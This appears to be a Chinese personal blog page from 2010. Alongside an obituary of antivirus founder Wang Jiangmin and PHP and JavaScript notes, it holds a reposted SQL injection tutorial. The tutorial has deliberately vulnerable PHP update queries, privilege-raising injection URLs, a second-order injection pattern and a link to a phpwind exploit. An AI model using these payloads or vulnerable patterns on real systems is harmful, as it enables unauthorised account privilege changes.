Submitted by gouki on 2010, April 5, 9:32 PM
惊,看到这个消息的时候,真的很震惊。唉,一代宗师就这么走了。当然我说的一代宗师并不是说他的功夫有多高多高,而是作为国内杀毒软件的先驱者,却这么早就离我们远去了。
第一次用的杀毒软件就是KV系列,DOS下的王者,KV300,至今还让我记忆犹新,可是这次cnbeta上的新闻,真的让我震惊了。
根据多方消息,北京江民新科技术有限公司董事长,著名的反病毒专家王江民先生,昨日上午10时在北京京西信翔鱼池钓鱼时心脏病突发,抢救无效逝世,享年59岁。王江民先生是国家高级工程师、曾担任中国残联理事、山东省烟台市政协委员、山东省肢残人协会副理事长,荣获过"全国新长征突击手标兵"、"全国青年自学成才标兵"、"全国自强模范"等荣誉,有着20多项技术成果和专利,在信息安全领域作出了突出贡献。
12:25 江民网站已经将首页变为灰色以示悼念。
14:20 江民网站已经挂出讣告和遗照。
江民网站http://jiangmin.com已经将首页变为灰色以示悼念。图/江民科技
王江民1951年出生于上海。三岁因患小儿麻痹后遗症而腿部残疾,人生赋予他的似乎是一条不可能成功的路。初中毕业后,回到老家山东烟台的王江民从一名街 道工厂的学徒工干起,刻苦自学,成长为拥有各种创造发明20多项的机械和光电类专家。1979年,因为在激光产品方面获得多项国内外先进水平的科研成果, 王江民被评选为全国首批105个新长征突击手标兵之一。 1985年,他获得“全国青年自学成才标兵”称号;1991年,他被命名为“全国自强模范”。1989年,王江民38岁开始学习计算机。不出几年,他就成 为中国最早的反病毒专家。 1996年的一天,王江民打了一辆黄色的“面的”来到中关村,开始了他的创业之路。 2003年,王江民靠着他的杀毒软件,挤身“中国IT富豪榜50强”,成为新世纪“知识英雄”的典范。
王江民开创的江民新科技术有限公司,业内技术和资金实力雄厚,公司拥有中关村地标建筑五星级写字楼近7000平米产权。KV江民杀毒王,2001年产品出 品日本,2003年销量直逼日本杀毒市场前三强,是国内首家以自主知识产权出口海外市场的软件厂商。公司技术力量在业内名列前茅,1996年和1998年 在对付宏病毒和CIH病毒的事件中表现出众,产品受到公安部的肯定和广泛使用。江民公司是2000年度中关村科技园区缴税大户前百名,王江民还十分热心公 益事业,2001年5月江民公司向中国残疾人福利基金会捐款100万元。
“38岁开始学习计算机,两三年之内成为中国最出色的反病毒专家 之一;45岁只身一人独闯中关村办公司,产品很快占据反病毒市场的80%以上。”,这些事 实已经让我们无法忽视王江民对中国软件开发带来的影响力,在业内被尊称为老师的王江民,凭借坚持而开拓出了杀毒软件市场,这也成为中国软件产业所仅有的几 个亮点之一。尽管现在KV系列产品中早已没有了一行他的代码,而且在市场中的表现也差强人意。但毋庸置疑,KV系列让众多的程序员知道了王江民,而他身残 志坚的毅力和品质也让很多程序员面对困难和挫折时,从中得到鼓舞。
生活中的王江民先生也是一个酷爱鱼的人,热心钓鱼活动,认真下功夫去钻研钓技,学习竞技钓时间不长,但钓技提高很快。经常赞助各种钓鱼比赛和活动,尤其是对于残疾 人钓鱼的各种活动都是积极赞助,积极参加,并在钓鱼比赛中取得过较好的成绩。
新闻来源:chinafishing.com
他,三岁因小儿麻痹症而落下终身残疾,没有进过正规大学的校门,二十多岁在一个街道小厂当技术员,三十八岁之前还不知道电脑为世间何物。就是这个无 论从哪 个角度说,都从未受到社会眷顾的"弃儿",今天却被誉为中关村最富有传奇色彩的知识英雄,中国软件业界中的奇才,国际上都赫赫有名的"杀毒王"。他就是王 江民。
王江民走出的人生第一步就非常沉重。他出生在山东烟台一个普通家庭,从记事起王江民就知道自己和别人是不同的,小儿麻痹症给他留下了一条病腿。他只能看着小朋友们在楼下尽情地欢呼跳跃。
王 江民:我自己只能在家里的窗户上,在楼上看着楼下的人群。然后用一张纸撕成一些小条条,然后,拧成一些转转儿从楼上往下扔,看着转转儿一直飘到楼下去,小 时候上小学的时候,比较喜欢学无线电搞半导体收音机。从矿石收音机一直到晶体管收音机,一直到双波段收音机,一直到无线电通迅,一直到电唱机留声机。这些 东西我全都自己搞出来过。搞得还比较好也全都是自学的。
1971年他初中毕业,没有上过一天高中的他终于在一家街道工厂找到了工作。
那时候,王江民只是不满足于当工人,想当好一名技术员。凭借自己的刻苦和钻研,他改变了自己的命运,成为工厂里的技术骨干和革新能手。由 于王江民在当地树立了身残志坚的榜样,还被授予了"全国新长征突击手标兵"、"全国青年自学成长标兵"、"全国自强模范"等诸多的称号。几年后,他被调到 了一家国有企业,从事光机电设计和工控软件设计。
王江民:我最精通的就是机电行业。搞了几十项机电行业的新产品和技术革新。当然那些项目都很大,大机床、大设备都很庞大也非常地沉重。那么,后来就是慢慢 大家对计算机时代的到来,开始有了一些认识。我那时候从纯机械到电子一直到电脑。因为我还不懂计算机呢。那时候我也没有学过,学校里也没有电脑,那时候我 们国家经常有人出国回来后做报告说:国外电脑怎么着,说美国电脑怎么着、怎么着,以后整个社会整个工厂生产全都是自动化电脑控制的。把电脑都说神话了。那 时候就感觉到。我是搞技术开发的,也许搞产品设计的也是搞技术的,如果不懂电脑就跟不上时代的潮流。我已经搞了十几年的机电技术,所以又开始学点儿电脑, 那时候已经三十八岁。
就这样,38岁的王江民在不知不觉中开始了他人生旅途中的一项新的事业。很显然当时他自己并没有意识到。那时他的目的非常简单,就是学会使用计算机。
王江民:我自己开始学习电脑的时候,开始对电脑有初步认识的时候。是单位的一"IBM"。那么,现在想那个档次就是"186"。后来单位的电脑看得太死 了,任何人不准动。学的时候还得偷偷摸摸去学几下,动不了几下让领导看见还得挨批评。那就是后来感觉到不方便,那怎么办呢?就干脆自己买一个。那时候刚刚 社会上有一个"中华学习机"咱们国家第一批生产的电脑叫"中华学习机"。接着第二年就买了一个PC机也是国产的。
就是这位今天拥有正版用户最多、市场占有量最大的KV系列杀毒软件的发明人,有谁能够想到,当年王江民凭着自学的电脑知识,开发的第一个软件竟是被儿子逼出来的。
王江民:那时候,我儿子已经上小学一年级了。学校整天让家长出题,出的题也得符合逻辑。一天出五十道口算题,你不能说二加三等于几?二十加三十等于多少? 你也得简单考虑它的逻辑性,也不能随便的出,应付,那不行。但是别看这五十道题,这五十道题出来后,你好好地考虑这五十道题,挺费事儿的。也挺费时间的。 所以我干脆就编个程序通过计算机打印出来,然后一打印出来就几百道题、几十道题。
本来只是为了应付儿子,无意间却成为风靡全国的教育软件。在别人眼里,王江民是个天才。其实他只是个爱较真的人,每逢进入自己陌生的领域,他一定要刻苦钻研后征服;每逢遇到问题,他一定要归纳总结后解决。哪怕是不吃饭不睡觉。
王江民过去的同事严绍文:他是很多方面的专家,你看他是咱们国家的光学专家,可能他的专利到现在还没有多少人能超过他。他是光学专家、他是机械专家。我有 时候觉得在我们这个小厂子,人家都说他是一个怪才。怎么王江民学什么他都行,学什么都比别人强。我觉得很奇怪呀!到我们这个(电脑)行业,我想肯定赶不上 我了,其实他比我不知道强到哪去了。真是这样的。我觉得他最大的贡献可能就在这就是以前,在他研究之前做病毒的。也有但是都是有一说一,有二说二。他不 是。他善于把这个问题总结起来,就是从具体的东西到一些抽象起来,这种东西我觉得这也是很可贵的事。
正是王江民这样的"较真",为他自己创造了一次又一次新的机遇,也让他离成功越来越近了。在工作中,他开始发现计算机老有病毒出来,影响设备的正常运行。
商人的嗅觉是最灵敏的。当王江民的杀毒软件从KV6迅速升级到KV100,一位电脑经销商跟王江民商量,你能不能别再送了,我帮你卖吧。一石激起千层浪,王江民的产品被卖到了中关村,杀毒软件KV100一炮打响。软件经销商们纷纷到山东向王江民申请许可经销权。
做技术出身的王江民初涉商海就被骗了,被他独家许可的这家软件经销商并没有兑现合约。虽然kv系列杀毒软件卖得很好,但是王江民没有拿到应得的转让费。
王江民:我就发现有些商人,他挣了那么多的钱。这点小钱他都不给开发人员。所以他也太奸滑了。商人也太不象话了,所以我的KV300就不再许可给他。觉得这种合作不长久。他赚了那么多的钱,到现在还欺骗我。我觉得他不是一个真正的合作伙伴,就不跟他合作了。
毫无疑问,众多的客户看好的是"江民"产品过硬的杀毒技术。但是,这过硬的技术也惹恼了假冒产品的仿制者和设计电脑病毒的人。他们开始用恶毒的手段攻击王江民。圈里人都知道中关村有过专门针对他的"倒王运动"。
中关村是创业者的硅谷,也同样是他们的麦城。因为无限的商机和激烈的竞争如影随形。书生气十足的王江民和他的公司在竞争中吃了不少亏,遇到明争暗斗的事他 就气得拍桌子瞪眼睛。当别人问到他对某某人的看法,他会直截了当地说,"这个人不可交,我可不愿意理他。"接触他长了会觉得,他性格中很多地方不像商人, 不够圆滑、不够狡诈。
王江民:按照我的性格我是学不会的。肯定是学不会的。我只有靠我们自己的技术,靠我们产品的技术含量,靠我们市场服务含量,来争取市场。来争取客户。但是这样可能比较累一些。
除了技术,王江民的信誉也是让他在商战中制胜的利器。就在对手以咄咄逼人之势蚕食杀毒软件市场之时,王江民推出了新一代杀毒软件KV3000。连邦公司一 次性定货8万套,价值550万元。这相当于国内一流的通用软件公司全年的流水。这家公司做这笔生意,凭的就是王江民的信誉,他们认为王江民这三个字最值 钱!王江民总结的商场原则是:做生意也跟做人一样,不能太贪。他给经销商的销售额分成经常超过经销商自己的想象。
王江民:其实我最喜欢做的还是开发软件。最喜欢做的是怎样把一个病毒去杀掉,就是说怎么样使你亲手做的软件,在整个社会上去杀那些计算机病毒。去拯救那些 被计算机病毒侵害的计算机。最头疼的也就是说这个公司需要非常好的策划,出一个非常好的市场运作的方式、方法。怎么样去能把这个市场运作到最佳状态。但是 这些都是说必须我去牺牲软件开发这一块。来纯粹作公司的管理,市场运作。但这一块还是我最不愿意做的。但是现在逼得我不做不行了。
在中关村科技园区企业百佳纳税名单中,江民公司是软件行业入选的5家之一,销售额在同行业中也名列前茅。靠着自己的技术和努力,王江民成 为中关村的亿万富翁。有了钱,他没有过起奢华的生活,而是捐给了残疾人、教师和贫困的大学生。除了回报社会,他还为别人投资项目,虽然迄今为止他还没从这 些投资项目里拿过分红。当然,王江民就是王江民,驰骋中关村六年,有时还是那么憨厚、那么单纯。
在中国的软件发展史上,王江民绝对是可圈可点的一个人。除了他的勤奋刻苦,他的成功从某种角度来说也是他做人的成功。在对大学生的演讲中,王江民总是不忘忠告:年轻人要少一些浮躁,多一些真才实学,要坚持勤奋学习,知识丰富了,能力高了,才能抓住机遇,机遇有的是。
FlowerCode@cnBeta 节选自 BTV
--EOF--
以上新闻均来自cnbeta
王江民:传奇一生
[快讯] 江民董事长王江民因心脏病突发逝世 享年59岁
发文以作纪念。纪念我国杀毒软件的先驱者
Misc | 评论:0
| 阅读:13592
Submitted by gouki on 2010, April 5, 9:26 PM
寂寞hack的文章,简单的介绍了一些注入方法,可以了解一下,但并没有那样的实用,经知道现在很多框架、代码都采用了PDO,使用了prepare的方法,基本上可以避免这些问题的发生。当然,光靠这些是不一定能够完全避免的,代码上还是要严格控制一下。
原文来自于:http://hi.baidu.com/isbx/blog/item/35d86a605b1fbf48eaf8f851.html
一、测试环境
OS: Windowsxp sp2
php: php 4.3.10
mysql 4.1.9
apache 1.3.33
二、测试数据库结构
SQL代码
-
-
-
-
-
-
-
- CREATE TABLE `userinfo` (
- `groudid` varchar(12) NOT NULL default '1',
- `user` varchar(12) NOT NULL default 'heige',
- `pass` varchar(122) NOT NULL default '123456'
- ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
-
-
-
-
-
- INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')
三、测试模式
1、变量没有带''或""
PHP代码
- <?php
-
- $servername = "localhost";
- $dbusername = "root";
- $dbpassword = "";
- $dbname = "test";
-
- mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
-
- $sql = "update userinfo set pass=$p where user='heige'";
-
- $result = mysql_db_query($dbname, $sql);
- $userinfo = mysql_fetch_array($result);
-
- echo "<p>SQL Query:$sql<p>";
- ?>
脚本里只是修改 user='heige' 的 pass,如果 groudid 表示用户的权限等级,我们的目的就是通过构造 $p 来达到修改 groupid 的目的,那么我们提交:
http://127.0.0.1/test1.php?p=123456,groudid=1
在mysql里查询:
SQL代码
- mysql> select * from userinfo;
- +
- | groudid | user | pass |
- +
- | 1 | heige | 123456 |
- +
- 1 row in set (0.01 sec)
用户heige的groudid又2改为1了 :)
所以我们可以得到没有''或""update的注射是可以成功的,这个就是我们的模式1。
2、变量带''或""
PHP代码
- <?php
-
- $servername = "localhost";
- $dbusername = "root";
- $dbpassword = "";
- $dbname = "test";
-
- mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
-
- $sql = "update userinfo set pass='$p' where user='heige'";
-
- $result = mysql_db_query($dbname, $sql);
- $userinfo = mysql_fetch_array($result);
-
- echo "<p>SQL Query:$sql<p>";
- ?>
为了关闭'我们构造$p应该为 123456',groudid='2 提交:
http://127.0.0.1/test2.php?p=123456',groudid='1
在gpc=on的情况下'变成了\',提交的语句变成:
SQL Query:update userinfo set pass='123456\',groudid=\'1' where user='heige'
mysql查询:
SQL代码
- mysql> select * from userinfo;
- +
- | groudid | user | pass |
- +
- | 2 | heige | 123456',groudid='1 |
- +
- 1 row in set (0.00 sec)
groudid并没有被修改。那么在变量被''或""时 就完全没有被注射呢?不是 下面我们看模式2:
PHP代码
- <?php
-
- $servername = "localhost";
- $dbusername = "root";
- $dbpassword = "";
- $dbname = "test";
-
- mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
-
- $sql = "update userinfo set pass='$p' where user='heige'";
-
- $result = mysql_db_query($dbname, $sql);
- mysql_fetch_array($result);
-
- $sql= "select pass from userinfo where user='heige'";
- $result = mysql_db_query($dbname, $sql);
- $userinfo=mysql_fetch_array($result);
-
- echo $userinfo[0];
-
- $sql ="update userinfo set pass='$userinfo[0]' where user='heige'";
- $result = mysql_db_query($dbname, $sql);
- mysql_fetch_array($result);
-
- ?>
我们测试下,提交:
http://127.0.0.1/test3.php?p=123456',groudid='1
回mysql查询下 :
SQL代码
- mysql> select * from userinfo;
- +
- | groudid | user | pass |
- +
- | 1 | heige | 123456 |
- +
- 1 row in set (0.00 sec)
HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下:
update --> select --> update
四、实际模式
模式1:缺
模式2:phpwind 2.0.2和3.31e 权限提升漏洞
漏洞分析
update (profile.php 注射变量为$proicon update语句里为,icon='$userdb[icon]')
↓
select (jop.php)
↓
updtate (jop.php)
Exploit: http://www.huij.net/9xiao/up/phpwind-exploit.exe
PHP | 评论:0
| 阅读:15162
Submitted by gouki on 2010, April 5, 9:18 PM
说实话,如果不是必要,真不是特别推荐采用proxy方法。特别是在PHP中,采用proxy势必会造成include文件过多。IO的消耗非常恐怖,如果又采用openbasedir,那么还要恐怖 。性能会下降的很厉害。。。
下面是老王的文章:
模式是程序员之间的交流语言,代理(Proxy)和委派(Delegate)是模式中常见的词汇,不过很多人把他们混淆了,甚至等同起来,这会造成很多沟通交流上的误解,下面说说他们的区别,先看一个UML图:
图形已经表述的很直白了,如果还不清晰,可以看看下面的代码:
PHP代码
- interface Subject
- {
- public function DoAction();
- }
-
- class RealSubject implements Subject
- {
- public function DoAction()
- {
- echo '_RealSubject::DoAction_';
- }
- }
-
- class Proxy implements Subject
- {
- public function __construct()
- {
- $this->subject = new RealSubject();
- }
-
- public function DoAction()
- {
- echo 'Proxy::DoAction';
- $this->subject->DoAction();
- echo 'Proxy::DoAction';
- }
- }
-
- $proxy = new Proxy();
- $proxy->DoAction();
运行结果输出:Proxy::DoAction_RealSubject::DoAction_Proxy::DoAction
如果你还没有看出端倪,我就再废话几句:首先从词性来看,代理(Proxy)是名词,委派(Delegate)是动词,其次代理说明了若干个对象实现了一个共同的接口,而委派只是说明一个对象引用了另一个对象,并不牵扯接口。
既然说到这了,就再唠叨几句:什么时候适合使用Proxy模式呢?对PHP而言,一般是当需要给对象附加额外的逻辑时,而这些逻辑和原有逻辑又分属不同的 层次,此时就可以考虑使用Proxy模式。听起来有点拗口,说一个实际的例子,比如说我们实现了Article对象,里面封装了CRUD方法,现在我们要 加入权限判断,控制CRUD的访问限制,这些新加入的逻辑属于应用逻辑,而原有的逻辑属于持久化逻辑,从分层角度看它们不应该放在一个对象里,此时就可以 创建一个ArticleProxy代理对象,用来实现权限判断,至于CRUD操作,则通过委派给Article对象来完成。
当年的JIVE论坛大量使用了此类方法,不过现在JIVE论坛早已销声匿迹,但思想还是可以借鉴的。通过使用代理模式,可以把不同侧重点的逻辑分别封装到 不同的对象里去(和装饰模式有点像,至于如何区分就是另一个话题了),从而避免God Class的产生,不过这样设计的结果会产生大量的类,孰重孰轻还得视客观情况而定。
原文来自:http://hi.baidu.com/thinkinginlamp/blog/item/2297a7efcb52a31afdfa3cc2.html
老王一天到晚在研究新奇玩意,上次说在PC下安装object-C,也是我挺喜欢的。
Tags: proxy, delegate
PHP | 评论:0
| 阅读:20922
Submitted by gouki on 2010, April 3, 9:19 AM
毋庸置疑,对于input的操作,是javascript中最常用,最多见的操作。因此对于input的相关各种事件也就是大家都必须要关心的。
大家耳熟能详的大约也就是:onChange,onClick,onDbClick,onFocus,onBlur之类。onDbClick一般都难以遇到,但其实这并不全。翻开jQuery的手册,你会发现对于事件处理,有很多。大部分都是针对于input的,当然也有对于img对象的。
以下就是全文:
1.基础:本次分析原理就是在各个浏览器下input内容变化的时候触发事件的各种不兼容性.在ie下用onpropertychange事件,在其他浏览器里用input事件.
2.用例:对每个浏览器分别测试如下的情况:
–输入英文字母时–开启输入法时–大小写不同时–输入运算符时–按下tab键时–输入法中按下空格时–按下控制键时–复制粘贴时–删除文本时–等等
3.测试开始:(只标出特殊情况,没标出的表示正常触发,每次只触发一次事件)
chrome:+开启输入法时,可以捕捉到输入事 件.+开启输入法的时候按下空格键,触发两次事件,猜测一次是空格触发的,一次是输入法改变输入框里的文本时触发的.+开启输入法的时候,按下空格后,立 即按下大写锁定,此后所有的输入事件都会被触发两次,原因不知.+没有开启输入法的时候,方向键不会触发事件,但是开启输入法后,方向键可以触发事件.+ 剪切和粘贴都会触发事件.+tab键不处罚事件,开启输入法时,按tab键触发事件.+按住shift和其他键(例如:数字键),每输入一个字符触发两次 事件.
Firefox:+开启输入法时,不能扑捉到事件,但 是按下空格时,可以触发两次事件.+任何时候方向键都不触发事件.+开启输入法的时候,按下空格后,立即按下大写锁定,此后所有的输入事件都会被触发两 次,原因不知.+按下tab键的时候不触发事件.++Firefox页面刷新的时候内容会被保留在输入框里.+按住shift和其他键(例如:数字键), 每输入一个字符触发两次事件.
opera:+正常情况下,在输入框里按下tab键会 触发一次事件,但是此后只要不刷新页面,tab键都不会再触发此事件.+开启输入法后不会触发事件,开启后,方向键和tab键都不触发事件.+开启输入法 时,按下空格只触发一次事件,不会出现触发两次事件的情况.+粘贴的时候触发事件,剪切的时候不触发
ie:+输入法不会触发事件,按空格也都是只触发一次,方向键任何时刻都不触发.+刷新页面的时候内容会留在input里,而且注意,不管input是不是空的,刷新页面后自动触发一次事件.
3.总结.
就一句话,差异很大.
注意input事件可以用在chrome,Firefox,opera里,但是只能用 addEventListener绑定,不能用ontype形式,而onpropertychange可以用on形式,也可以用attachEvent绑定
--EOF--
了解这些兼容性的处理,对于页面的操作处理方面才会有更好的效果和用户体验。原文来自于http://www.beiju123.cn/blog/?p=375,是我采用read it later读回来的。。
Tags: input
Javascript | 评论:1
| 阅读:24499
Submitted by gouki on 2010, April 2, 10:06 PM
官方的例子用起来很爽,所以,如果觉得有适用的话,可以尝试一用。当然我不认为这玩意可以真正用在前台上,如果用于后台还是可以接受的。唯一可以尝试用于前台的就是日历控件,长的也不错。压缩后20K还是可以被广大人民群众所接受。如果可以再分拆,或许会更小吧?试了一下,感觉效率不是特别的高?但真的扔在后台还是问题不大的。
样式也不错。。。。
官方在http://www.wbfsaworkstation.com.cn/#,好长的网址啊
Tags: singleedit, jquery
Javascript | 评论:0
| 阅读:17437